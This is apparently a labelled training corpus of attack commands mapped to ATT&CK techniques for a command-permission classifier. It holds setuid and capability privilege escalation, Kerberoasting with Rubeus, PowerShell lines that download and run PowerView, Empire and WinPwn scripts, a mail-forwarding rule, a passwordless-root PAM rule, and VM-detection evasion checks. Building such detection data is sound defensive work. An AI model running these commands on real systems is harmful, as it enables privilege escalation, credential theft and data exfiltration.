cowWhySo/permission-command-corpus huggingface dataset:
Command: rm /tmp/hello rm /tmp/hello.c
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: linux
ATT&CK tags: T1548.001
Source rule: Make and modify binary from C source (freebsd)
Notes: Make, change owner, and change file attributes on a C source code file
Command: sudo touch #{file_to_setuid} sudo chown root #{file_to_setuid} sudo chmod u+xs #{file_to_setuid}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: macos,linux
ATT&CK tags: T1548.001
Source rule: Set a SetUID flag on file
Notes: This test sets the SetUID flag on a file in FreeBSD.
Command: sudo rm #{file_to_setuid}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: macos,linux
ATT&CK tags: T1548.001
Source rule: Set a SetUID flag on file
Notes: This test sets the SetUID flag on a file in FreeBSD.
Command: touch #{file_to_setuid} chown root #{file_to_setuid} chmod u+xs #{file_to_setuid}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: linux
ATT&CK tags: T1548.001
Source rule: Set a SetUID flag on file (freebsd)
Notes: This test sets the SetUID flag on a file in FreeBSD.
Command: rm #{file_to_setuid}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: linux
ATT&CK tags: T1548.001
Source rule: Set a SetUID flag on file (freebsd)
Notes: This test sets the SetUID flag on a file in FreeBSD.
Command: sudo touch #{file_to_setuid} sudo chown root #{file_to_setuid} sudo chmod g+xs #{file_to_setuid}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: macos,linux
ATT&CK tags: T1548.001
Source rule: Set a SetGID flag on file
Notes: This test sets the SetGID flag on a file in Linux and macOS.
Command: touch #{file_to_setuid} chown root #{file_to_setuid} chmod g+xs #{file_to_setuid}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: linux
ATT&CK tags: T1548.001
Source rule: Set a SetGID flag on file (freebsd)
Notes: This test sets the SetGID flag on a file in FreeBSD.
Command: cp #{payload} /tmp/cap.c make /tmp/cap sudo setcap cap_setuid=ep /tmp/cap /tmp/cap
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: linux
ATT&CK tags: T1548.001
Source rule: Make and modify capabilities of a binary
Notes: Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.
The binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.
Without being owned by root, the binary can set the UID to 0.
Command: rm /tmp/cap rm /tmp/cap.c
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: linux
ATT&CK tags: T1548.001
Source rule: Make and modify capabilities of a binary
Notes: Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.
The binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.
Without being owned by root, the binary can set the UID to 0.
Command: touch #{file_to_setcap} sudo setcap cap_setuid=ep #{file_to_setcap}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: linux
ATT&CK tags: T1548.001
Source rule: Provide the SetUID capability to a file
Notes: This test gives a file the capability to set UID without using flags.
Command: rm #{file_to_setcap}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: linux
ATT&CK tags: T1548.001
Source rule: Provide the SetUID capability to a file
Notes: This test gives a file the capability to set UID without using flags.
Command: find /usr/bin -perm -4000
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: linux
ATT&CK tags: T1548.001
Source rule: Do reconnaissance for files that have the setuid bit set
Notes: This test simulates a command that can be run to enumerate files that have the setuid bit set
Command: find /usr/bin -perm -2000
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: linux
ATT&CK tags: T1548.001
Source rule: Do reconnaissance for files that have the setgid bit set
Notes: This test simulates a command that can be run to enumerate files that have the setgid bit set
Command: cmd.exe /c "#{local_folder}\#{local_executable}" asreproast /outfile:"#{local_folder}\#{out_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1558.004
Platform: windows
ATT&CK tags: T1558.004
Source rule: Rubeus asreproast
Notes: Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
Command: Remove-Item "#{local_folder}\#{out_file}" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1558.004
Platform: windows
ATT&CK tags: T1558.004
Source rule: Rubeus asreproast
Notes: Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1558.004
Platform: windows
ATT&CK tags: T1558.004
Source rule: Get-DomainUser with PowerView
Notes: Utilizing PowerView, run Get-DomainUser to identify domain users. Upon execution, progress and info about users within the domain being scanned will be displayed.
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1') Invoke-Rubeus -Command "asreproast /format:hashcat /nowrap"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1558.004
Platform: windows
ATT&CK tags: T1558.004
Source rule: WinPwn - PowerSharpPack - Kerberoasting Using Rubeus
Notes: PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn
Command: $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds New-InboxRule -Name "#{rule_name}" -ForwardTo "#{forwarding_email}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1114.003
Platform: office-365
ATT&CK tags: T1114.003
Source rule: Office365 - Email Forwarding
Notes: Creates a new Inbox Rule to forward emails to an external user via the "ForwardTo" property of the New-InboxRule Powershell cmdlet.
Command: $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Get-InboxRule | Where-Object { $_.Name -eq "#{rule_name}" | ForEach-Object { Remove-InboxRule -Identity $_.Identity -Force -Confirm:$False }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1114.003
Platform: office-365
ATT&CK tags: T1114.003
Source rule: Office365 - Email Forwarding
Notes: Creates a new Inbox Rule to forward emails to an external user via the "ForwardTo" property of the New-InboxRule Powershell cmdlet.
Command: # Check for common debugger processes $debuggerProcesses = Get-Process | Where-Object { $_.ProcessName -match "dbg" -or $_.ProcessName -match "debug" } # Check for debugging flags $debuggingFlags = [System.Diagnostics.Debugger]::IsAttached
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1622
Platform: windows
ATT&CK tags: T1622
Source rule: Detect a Debugger Presence in the Machine
Notes: Detecting a running debugger process or if the debugger is attached to a process via PowerShell
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing) Invoke-Kerberoast | fl
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1558.003
Platform: windows
ATT&CK tags: T1558.003
Source rule: Request for service tickets
Notes: This test uses the Powershell Empire Module: Invoke-Kerberoast.ps1
The following are further sources and credits for this attack:
[Kerberoasting Without Mimikatz source] (https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)
[Invoke-Kerberoast source] (https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
when executed successfully , the test displays available services with their hashes. 
If the testing domain doesn't have any service principal name configure
Command: klist purge cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1558.003
Platform: windows
ATT&CK tags: T1558.003
Source rule: Rubeus kerberoast
Notes: Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
Command: Remove-Item "#{local_folder}\#{out_file}" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1558.003
Platform: windows
ATT&CK tags: T1558.003
Source rule: Rubeus kerberoast
Notes: Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
Command: setspn -T #{domain_name} -Q */*
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1558.003
Platform: windows
ATT&CK tags: T1558.003
Source rule: Extract all accounts in use as SPN using setspn
Notes: The following test will utilize setspn to extract the Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. 
A successful execution will output all the SPNs for the related domain.
Command: Add-Type -AssemblyName System.IdentityModel $ComputerFQDN=$env:LogonServer.trimStart('\') + "." + $env:UserDnsDomain New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/$ComputerFQDN"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1558.003
Platform: windows
ATT&CK tags: T1558.003
Source rule: Request A Single Ticket via PowerShell
Notes: The following test will utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. 
A successful execution will output the SPNs for the endpoint in question.
Command: Add-Type -AssemblyName System.IdentityModel setspn.exe -T #{domain_name} -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1558.003
Platform: windows
ATT&CK tags: T1558.003
Source rule: Request All Tickets via PowerShell
Notes: The following test will utilize native PowerShell Identity modules to query the domain to extract allthe Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. 
A successful execution will output the SPNs for the domain in question.
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Kerberoasting -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1558.003
Platform: windows
ATT&CK tags: T1558.003
Source rule: WinPwn - Kerberoasting
Notes: Kerberoasting technique via function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1') Invoke-Rubeus -Command "kerberoast /format:hashcat /nowrap"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1558.003
Platform: windows
ATT&CK tags: T1558.003
Source rule: WinPwn - PowerSharpPack - Kerberoasting Using Rubeus
Notes: PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn
Command: if (systemd-detect-virt) then echo "Virtualization Environment detected"; fi; if (sudo dmidecode | egrep -i 'manufacturer|product|vendor' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo "Virtualization Environment detected"; fi;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1497.001
Platform: linux
ATT&CK tags: T1497.001
Source rule: Detect Virtualization Environment (Linux)
Notes: systemd-detect-virt detects execution in a virtualized environment.
At boot, dmesg stores a log if a hypervisor is detected.
Command: if [ "$(sysctl -n hw.hv_vendor)" != "" ]; then echo "Virtualization Environment detected"; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1497.001
Platform: linux
ATT&CK tags: T1497.001
Source rule: Detect Virtualization Environment (FreeBSD)
Notes: Detects execution in a virtualized environment.
At boot, dmesg stores a log if a hypervisor is detected.
Command: $error.clear() Get-WmiObject -Query "SELECT * FROM MSAcpi_ThermalZoneTemperature" -ErrorAction SilentlyContinue if($error) {echo "Virtualization Environment detected"}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1497.001
Platform: windows
ATT&CK tags: T1497.001
Source rule: Detect Virtualization Environment (Windows)
Notes: Windows Management Instrumentation(WMI) objects contains system information which helps to detect virtualization. This command will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine
Command: if (ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo 'Virtualization Environment detected'; fi;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1497.001
Platform: macos
ATT&CK tags: T1497.001
Source rule: Detect Virtualization Environment via ioreg
Notes: ioreg contains registry entries for all the device drivers in the system. If it's a virtual machine, one of the device manufacturer will be a Virtualization Software.
Command: $Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Manufacturer" $Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Model" if((($Manufacturer.ToLower() -eq "microsoft corporation") -and ($Model.ToLower().contains("virtual"))) -or ($Manufacturer.ToLower().contains("vmware")) -or ($Model.ToLower() -eq "virtualbox")) {write-host "Virtualization environment detected!"} else {write-host "No virtualization environment detected!"}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1497.001
Platform: windows
ATT&CK tags: T1497.001
Source rule: Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)
Notes: Windows Management Instrumentation(WMI) objects contain system information which helps to detect virtualization. This test will get the model and manufacturer of the machine to determine if it is a virtual machine, such as through VMware or VirtualBox.
Command: if [ "$(sysctl -n hw.model | grep -v 'Mac')" != "" ]; then echo 'Virtualization Environment detected'; fi;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1497.001
Platform: macos
ATT&CK tags: T1497.001
Source rule: Detect Virtualization Environment using sysctl (hw.model)
Notes: sysctl hw.model will return the model name of the hardware(Macmini8,1, MacBookAir10,1, etc.) in case of native Apple hardware
but will return the hypervisor name (VMware7,0).
Reference: https://evasions.checkpoint.com/src/MacOS/macos.html#hardware-model
Command: if [ "$(csrutil status | grep -v 'enabled')" != "" ]; then echo 'Possible Virtualization Environment detected'; fi;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1497.001
Platform: macos
ATT&CK tags: T1497.001
Source rule: Check if System Integrity Protection is enabled
Notes: The latest versions of macOS have the System Integrity Protection feature (SIP). If a sandbox uses a non-signed 
kernel extension for monitoring purposes the, SIP feature must be disabled to load this kind of kernel extension.
Malware may check if the SIP is enabled.
Reference: https://evasions.checkpoint.com/src/MacOS/macos.html#sip
Command: if [ "$(system_profiler SPHardwareDataType | grep "Model Identifier" | grep -v 'Mac')" != "" ]; then echo 'Virtualization Environment detected'; fi;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1497.001
Platform: macos
ATT&CK tags: T1497.001
Source rule: Detect Virtualization Environment using system_profiler
Notes: system_profiler provides system hardware and software configuration and the Model Identifier should provide the value similar to (sysctl -n hw.model). 
We should be able to find whether virtualization is enabled by checking whether the Model Identifier does not contain "Mac".
Command: fsutil behavior set SymlinkEvaluation R2L:1 fsutil behavior set SymlinkEvaluation R2R:1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222
Platform: windows
ATT&CK tags: T1222
Source rule: Enable Local and Remote Symbolic Links via fsutil
Notes: Use fsutil to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)
Command: fsutil behavior set SymlinkEvaluation R2L:0 fsutil behavior set SymlinkEvaluation R2R:0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222
Platform: windows
ATT&CK tags: T1222
Source rule: Enable Local and Remote Symbolic Links via fsutil
Notes: Use fsutil to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)
Command: reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v SymlinkRemoteToLocalEvaluation /t REG_DWORD /d "1" /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v SymlinkRemoteToRemoteEvaluation /t REG_DWORD /d "1" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222
Platform: windows
ATT&CK tags: T1222
Source rule: Enable Local and Remote Symbolic Links via reg.exe
Notes: Use reg.exe to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)
Command: reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v SymlinkRemoteToLocalEvaluation /t REG_DWORD /d "0" /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v SymlinkRemoteToRemoteEvaluation /t REG_DWORD /d "0" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222
Platform: windows
ATT&CK tags: T1222
Source rule: Enable Local and Remote Symbolic Links via reg.exe
Notes: Use reg.exe to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)
Command: New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToLocalEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToRemoteEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222
Platform: windows
ATT&CK tags: T1222
Source rule: Enable Local and Remote Symbolic Links via Powershell
Notes: Use Powershell to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)
Command: New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToLocalEvaluation -PropertyType DWORD -Value 0 -Force -ErrorAction Ignore New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToRemoteEvaluation -PropertyType DWORD -Value 0 -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222
Platform: windows
ATT&CK tags: T1222
Source rule: Enable Local and Remote Symbolic Links via Powershell
Notes: Use Powershell to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)
Command: sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1556.003
Platform: linux
ATT&CK tags: T1556.003
Source rule: Malicious PAM rule
Notes: Inserts a rule into a PAM config and then tests it.

Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
Command: sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1556.003
Platform: linux
ATT&CK tags: T1556.003
Source rule: Malicious PAM rule
Notes: Inserts a rule into a PAM config and then tests it.

Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
Command: sudo sed -i "" "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1556.003
Platform: linux
ATT&CK tags: T1556.003
Source rule: Malicious PAM rule (freebsd)
Notes: Inserts a rule into a PAM config and then tests it.

Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
Command: sudo sed -i "" "/#{pam_rule}/d" #{path_to_pam_conf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1556.003
Platform: linux
ATT&CK tags: T1556.003
Source rule: Malicious PAM rule (freebsd)
Notes: Inserts a rule into a PAM config and then tests it.

Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
Command: Mount-DiskImage -ImagePath "#{path_of_iso}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.005
Platform: windows
ATT&CK tags: T1553.005
Source rule: Mount ISO image
Notes: Mounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/